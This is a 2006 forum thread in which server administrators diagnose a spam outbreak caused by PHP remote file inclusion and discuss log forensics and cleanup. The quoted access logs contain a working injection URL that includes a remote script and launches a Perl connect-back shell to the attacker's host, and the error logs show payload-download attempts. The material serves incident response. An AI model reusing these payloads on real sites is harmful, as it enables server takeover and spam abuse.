HACKED: Spammer injected it appears, help!

[criticman]

Alright, qmail queue is HUGE (508926).

So I did:
ps -fuapache

UID PID PPID C STIME TTY TIME CMD
apache 9359 20374 0 Apr23 ? 00:00:28 /usr/sbin/httpd
apache 9362 20374 0 Apr23 ? 00:00:27 /usr/sbin/httpd
apache 23050 20374 0 Apr23 ? 00:00:27 /usr/sbin/httpd
apache 6642 20374 0 11:14 ? 00:00:03 /usr/sbin/httpd
apache 6657 20374 0 11:14 ? 00:00:05 /usr/sbin/httpd
apache 6665 20374 0 11:14 ? 00:00:04 /usr/sbin/httpd
apache 6670 20374 0 11:14 ? 00:00:02 /usr/sbin/httpd
apache 577 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 587 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 588 20374 0 16:22 ? 00:00:02 /usr/sbin/httpd
apache 589 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 601 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 612 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 613 20374 0 16:22 ? 00:00:02 /usr/sbin/httpd
apache 642 20374 0 16:22 ? 00:00:02 /usr/sbin/httpd
apache 652 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 653 20374 0 16:22 ? 00:00:01 /usr/sbin/httpd
apache 675 20374 0 16:23 ? 00:00:02 /usr/sbin/httpd
apache 678 20374 0 16:23 ? 00:00:02 /usr/sbin/httpd
apache 684 20374 0 16:23 ? 00:00:01 /usr/sbin/httpd
apache 842 1 0 16:23 ? 00:00:00 /bin/sh
apache 8781 842 0 18:03 ? 00:00:52 php spam.txt juridico.txt carteiro.htm
apache 18179 8781 0 19:32 ? 00:00:00 bin/qmail-inject -H --

Did readlink /proc/8781/exe and found out it is in /tmp and /tmp/drk.

I deleted the drk dir and its contents. The script itself is in tmp.

How can I trace how it got in? I am going to rename the script (in .txt format) but maybe someone has seent his one before?

dc.txt (I am only including the header so as not to post the malicious code others could then reuse)

#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT

 

[wagnerch]

apache 842 1 0 16:23 ? 00:00:00 /bin/sh
apache 8781 842 0 18:03 ? 00:00:52 php spam.txt juridico.txt carteiro.htm
apache 18179 8781 0 19:32 ? 00:00:00 bin/qmail-inject -H --

I would try to correlate an entry in your Apache access_log's for 16:23, that is the process that fired off the script. Look for any unusual entries that appear suspicious.

This can be the most brutal part sometimes, I would do something along the lines of:

cd /home/httpd/vhosts
grep "24\/Apr\/2006:16:23:" */statistics/logs/access*log

(NOTE: it may fail if you have ALOT of domains, because I am using wildcard expansion)

Of course replace the date with the right date. I am assuming you found it today, so you would use "25\/Apr\/2006". If your not familiar with regular expressions then you may want to take a peek at the grep manpage (man grep) and read the section about them.

The other alternative would be to use a tool like The Corner's Toolkit, which the program pcat can actually dump a processes memory (it's a bit too late at this point) and sometimes you can lift useful information from the processes memory.

 

[criticman]

Awesome, found it!

Offender's IP: 201.35.227.204

I ended doing this query:
grep "24\/Apr\/2006:16:23:" */statistics/logs/access_log*

201.35.227.204 - - [24/Apr/2006:16:23:54 -0700] "GET /images/sjhslogo_head.jpg HTTP/1.1" 304 147 "http://www.*.org/student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
*.org/statistics/logs/access_log.processed:201.35.227.204 - - [24/Apr/2006:16:23:54 -0700] "GET /images/chshonorrolllogo.jpg HTTP/1.1" 304 147 "http://www.*.org/student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
*.org/statistics/logs/access_log.processed:201.35.227.204 - - [24/Apr/2006:16:23:55 -0700] "GET /images/spacer.jpg HTTP/1.1" 304 147 "http://www.*.org/student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
*.org/statistics/logs/access_log.processed:201.35.227.204 - - [24/Apr/2006:16:23:55 -0700] "GET /images/printer.jpg HTTP/1.1" 304 147 "http://www.*.org/student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
*.org/statistics/logs/access_log.processed:201.35.227.204 - - [24/Apr/2006:16:23:51 -0700] "GET /student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464 HTTP/1.1" 200 18399 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
*.org/statistics/logs/access_log.processed:66.147.10.2 - - [24/Apr/2006:16:23:07 -0700] "GET /school_news/newsnotes.pdf HTTP/1.1" 206 41195 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

So, how can else can I prevent PHP injections? I have mod_security setup. I have safemode off right now...I know, shame on me...but so many scripts yell and scream about it...so can I secure PHP more without turning safemode back on? I disabled some functions in php.ini....

 

[wagnerch]

201.35.227.204 - - [24/Apr/2006:16:23:51 -0700] "GET /student_life/content.php?page=http://www.pharoeste.net/cmd/tool25.dat?&cmd=cd%20/tmp;perl%20dc.txt%20201.35.227.204%2044464 HTTP/1.1" 200 18399 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

That is the vulnerable application there, notice after the request there is a "200". It represents a success (HTTP OK), so the payload may have worked.

Unfortunately "safe_mode" (the php.ini setting) is hardly practical. The applications have to be written to work in safe mode, and few are. ModSecurity may have prevented the attack, and it may not have -- it all depends on how up to date your rules are and whether this application is in their ruleset. I think ModSecurity is great, unfortunately the rules can be a bit aggressive and break legit applications.

I would identify what application is this, and find out if the vendor has any known security bulletins. I know it is a content management system, I just don't know which one. I know Mambo/Joomla are vulnerable to "remote file inclusion", which is what this particular vulnerability is considered.

 

[criticman]

Heh, I wrote the entire CMS my client's site uses.

So, what can I do to make sure any code escaping attempts fail to work?

Since it is a custom setup, I am guessing mod_security failed to prevent the attack.

It has been two years since I wrote that system, so I am more than willing to upgrade it with some security measures. Just need some direction as to what needs to be put in place.

 

[wagnerch]

Take a look at http://phpsec.org/projects/guide/, specifically section 1.3 probably applies to this case. Also http://us2.php.net/include/ discusses the issue that affects include/require.

The issue is possibly related to register globals is on (or it may not be and it is still vulnerable to this case) and you are using unfiltered user input in the page variable. The page variable is ultimately including a remote php file and executing their code.

It is odd that someone guessed this vulnerability, but it is possible they are just brute forcing.

 

[criticman]

Thanks, I'll check out those sites.

I don't think register globals is on.

And since the log shows several attempts to execute pretty much the same thing, I am guessing brute force.

 

[AlbertS]

Same here, PLZ HELP... Im getting spawned with like 50 mails in minut, after a good night sleep I woke up with 5000 mails in my box

[root@localhost log]# ps -fuapache
UID PID PPID C STIME TTY TIME CMD
apache 1801 3164 0 Jul05 ? 00:02:41 /usr/sbin/httpd
apache 1803 3164 0 Jul05 ? 00:04:00 /usr/sbin/httpd
apache 12141 3164 0 Jul05 ? 00:01:46 /usr/sbin/httpd
apache 25873 3164 0 Jul05 ? 00:02:45 /usr/sbin/httpd
apache 3634 3164 0 Jul05 ? 00:02:10 /usr/sbin/httpd
apache 3694 3164 0 Jul05 ? 00:01:54 /usr/sbin/httpd
apache 5617 3164 0 Jul05 ? 00:01:41 /usr/sbin/httpd
apache 8743 3164 0 Jul05 ? 00:01:08 /usr/sbin/httpd
apache 9240 3164 0 Jul05 ? 00:01:46 /usr/sbin/httpd
apache 9253 3164 0 Jul05 ? 00:02:26 /usr/sbin/httpd
apache 9254 3164 0 Jul05 ? 00:01:47 /usr/sbin/httpd
apache 28030 3164 0 Jul05 ? 00:00:59 /usr/sbin/httpd
apache 28031 3164 0 Jul05 ? 00:00:43 /usr/sbin/httpd
apache 28262 3164 0 Jul05 ? 00:01:34 /usr/sbin/httpd
apache 28265 3164 0 Jul05 ? 00:00:36 /usr/sbin/httpd
apache 28267 3164 0 Jul05 ? 00:01:44 /usr/sbin/httpd
apache 28268 3164 0 Jul05 ? 00:01:20 /usr/sbin/httpd
apache 2674 3164 0 Jul05 ? 00:00:44 /usr/sbin/httpd
apache 2701 3164 0 Jul05 ? 00:00:52 /usr/sbin/httpd
apache 2702 3164 0 Jul05 ? 00:00:33 /usr/sbin/httpd
apache 4556 1803 0 11:07 ? 00:00:00 bin/qmail-inject -H --

[root@localhost log]# readlink /proc/1803/exe
/usr/sbin/httpd
[root@localhost log]# cd /usr/sbin/httpd
-bash: cd: /usr/sbin/httpd: Not a directory

I dont do not have an idea where the process is running from, log files dont tell anything usefull either...

What can I do?!

Its al this kind of ****...
---------------------------------
Hi. This is the qmail-send program at lcoalhost.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<[email protected]>:
Sorry, I couldn't find any host named criativir.com.br. (#5.1.2)

<[email protected]>:
Sorry, I couldn't find any host named dominio.com.br. (#5.1.2)

<[email protected]>:
Sorry, I couldn't find any host named dominio.com.br. (#5.1.2)

// with allot of html that does not make much sence to me...
----------------------------------

 

[wagnerch]

This one looks like it is being pushed in via an unprotected HTML form. I would look at all access_log entries around approximately 11:07 (when qmail-inject was started), if it is 50/minute then you should see 50 calls to the same CGI/PHP/whatever script.

Another thing that may give you a clue is looking at the messages in /var/qmail/queue/mess/*/*

 

[AlbertS]

Same (kind) of script that 'attacked' topic starter attack me... Seems an old phpnuke has been exploited (with xentinal!?)...


* Linux kernel do_brk vma overflow exploit.\n"


Is the integrity of my system still intact? Within the script there was a fake mail option what did work pretty good on my system?

Running centos 4.2 with yum art as rhel 4


When investigating the attack I came out in an open dir which is LOADED with allot of ****!

Al kind of exploits, scamming stuf?!

Fake ebay, paypall, Wamu bank form... Really all kind of stuff some bit out dated though some pretty new...

Anything to do with it?!

 

[wagnerch]

It's hard to say, do_brk vma exploit is used to gain root. The machine may have been compromised. It all depends on whether your server is patched and up-to-date, and whether there was no 0-day exploits.

 

[atomicturtle]

The only way to really be sure that you've gotten rid of them is to reinstall the OS. If they took the time to root the box, then it's likely they took the time to install a rootkit.

 

[AlbertS]

reinstall?! I can't reinstall OS its a production box running like 14 days and now its badly compromised? How could I best investigate if it is? rkhunter etc. is running he came up with no problems.

Everything is just working fine... Well more ore less ofcourse...

The problems weren't solved as I thought, seemed I killed smtp... When started smtp the processes came back now I seemed to killed them prober

deledted the que files... Que was badly filled up maps from 1 tot 20 where filled with ****...

/var/qmail/queue/remote
that is filled aswell (delete?)

Cacti is telling me that there is since 1.00 this night going 60 k out of the server while this was normally 20 to 40K... Nothing to find though netstat not showing some weird connections... Nor any weird processes...


Any sugestios?!

 

[criticman]

You don't need to reinstall. Sure/true, that is the BEST way and only certain way to make sure you are safe. But with a little bit of time, you can find out where they got in and fix it.

With me, they were in the tmp dir of the site they "hijacked" as well as several other key shared directories.

Do as mentioned, search the logs for the site they got in. Look for the commands they issued. You can then do a grep in your entire system for that filename. Open it, read through, see what it did. Search for any other referenced files.

Once you've found all of the files, delete them.

The first, KEY ITEM, is to upgrade/patch the system they used to get into your server.

Good luck!

 

[wagnerch]

I agree with atomicturtle, the only way to be sure is to re-image the box. Of course it is a total pain in the butt, especially when it is a remote box.

 

[AlbertS]

It seems to be back... More or less..

Since 6.00 this morning load is ~ 0.5 in the bounce folder mails are back, with .com.br domains... Not that much and it seems the bounces stopped at 7.00 this morning...

Everything seems to be clean, no weird log files only

------------------------------------------------------------ error_log
error: 'kern.ostype' is an unknown key
error: 'kern.osrelease' is an unknown key
sh: /usr/bin/GET: Permission denied
sh: /usr/bin/GET: Permission denied
sh: /usr/bin/curl: Permission denied
Can't open perl script "phpnuke.txt": No such file or directory.
Use -S to search $PATH for it.
method in request echo
sh: /usr/bin/GET: Permission denied
sh: /usr/bin/curl: Permission denied
Can't open perl script "phpnuke.txt": No such file or directory.
Use -S to search $PATH for it.
sh: /usr/bin/curl: Permission denied
Can't open perl script "phpnuke.txt": No such file or directory.
Use -S to search $PATH for it.
sh: /usr/bin/lwp-download: Permission denied
Can't open perl script "phpnuke.txt": No such file or directory.
Use -S to search $PATH for it.
sh: /usr/bin/lwp-download: Permission denied
Can't open perl script "phpnuke.txt": No such file or directory.
Use -S to search $PATH for it.
-------------------------------------------------------------------

This was between
[Thu Jul 13 02:40:15 2006] [error] [client 85.158.x.x] Invalid method in request echo


[Thu Jul 13 04:18:04 2006] [error] [client 85.158.x.x] Invalid method in request echo

The acces_log and other log files not giving anything use full... The invalid method in request echo do not seem harmfull, in acces log they pup up like,

85.158.x.x - - [13/Jul/2006:00:46:12 +0200] "echo" 501 216 "-" "-"
85.158.x.x - - [13/Jul/2006:01:02:13 +0200] "echo" 501 216 "-" "-"

they seem to pop up some days, same IP?! Harmfull, what is?

When stopping SMTP Server (QMail) everything comes back to normal load...


So... where to look?

Would a reinstall do anygood? Is this **** not getting migrated?
With a fresh box how would u prefrent this -unfun-...

This box was (as said) running like a week when fcked? up... I can't imagine that a clean install is not getting fcked up... I configt all kind of stuf for security, same on old box... wich run for 320 days non stop, non problem... Is this bad luck?!

Sorry for using those words, but this is driving me crazy did cost me alot of hours now


EDIT..
/var/qmail/bin/qmail-qread Gives ALLOT (hundres-meaby 1000+) like

warning: trouble with #2138907: file does not exist
warning: trouble with #2141621: file does not exist
warning: trouble with #2137504: file does not exist
warning: trouble with #2140264: file does not exist
warning: trouble with #2140977: file does not exist
warning: trouble with #2138769: file does not exist
warning: trouble with #2142633: file does not exist
warning: trouble with #2134675: file does not exist
warning: trouble with #2138010: file does not exist
warning: trouble with #2141529: file does not exist
warning: trouble with #2134606: file does not exist
warning: trouble with #2136078: file does not exist
warning: trouble with #2142518: file does not exist

How to clean this up?


The QUE is pretty much empty (19), by qmail-qstat....



-------------EDIT
qmail-queue.log is fllooding since a hour with hundreds of entries like

Thu, 13 Jul 2006 12:20:07 CEST:21343: ------ Process 21343 finished. Total of 0.009613 secs
Thu, 13 Jul 2006 12:20:07 CEST:21359: +++ starting debugging for process 21359 (ppid=18766) by uid=2522
Thu, 13 Jul 2006 12:20:07 CEST:21359: c_a_g: found hidden MIME attachment
Thu, 13 Jul 2006 12:20:07 CEST:21359: w_c: Total time between DATA command and "." was 8.8e-05 secs
Thu, 13 Jul 2006 12:20:07 CEST:21359: w_c: elapsed time from start 9.3e-05 secs
Thu, 13 Jul 2006 12:20:07 CEST:21359: g_e_h: no sender and no recips, from via local process 21359. Dropping, this isn't a QS error.


it keeps generating more and more, load is now 2.0...

plz helpt!

 

[dynaweb]

Het alberts, were you able to fix this qmail problem with Warning: File does not exist? How?